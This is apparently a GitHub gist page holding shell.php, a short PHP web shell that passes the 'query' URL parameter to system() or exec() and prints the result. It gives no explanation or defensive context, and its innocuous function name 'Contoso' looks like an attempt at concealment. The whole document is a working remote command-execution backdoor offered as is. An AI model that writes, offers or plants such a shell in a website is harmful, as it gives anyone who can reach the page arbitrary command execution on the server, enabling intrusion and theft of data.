Skip to content

Instantly share code, notes, and snippets.

@ag-michael
Created August 11, 2025 17:05
Show Gist options
  • Select an option

  • Save ag-michael/0c37919adb9b051c941eac9237edcd4c to your computer and use it in GitHub Desktop.

Select an option

Save ag-michael/0c37919adb9b051c941eac9237edcd4c to your computer and use it in GitHub Desktop.
shell.php
<?php
function Contoso($query)
{ $list_function_shell = array("system", "exec");
$f_enabled = array_filter($list_function_shell, 'function_exists');
if($f_enabled !== ""){
$f = $f_enabled[0];
echo "<br/>\nUsing ". $f. " as query\n<br/>";
if($f == "system" || $f == "exec"){
ob_start();
$output = $f($query, $status);
ob_clean();
}
}
return array('output' => $output , 'status' => $status);
}
if(isset($_GET['query'])){
$o = Contoso($_GET['query']);
echo $o['output'];
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment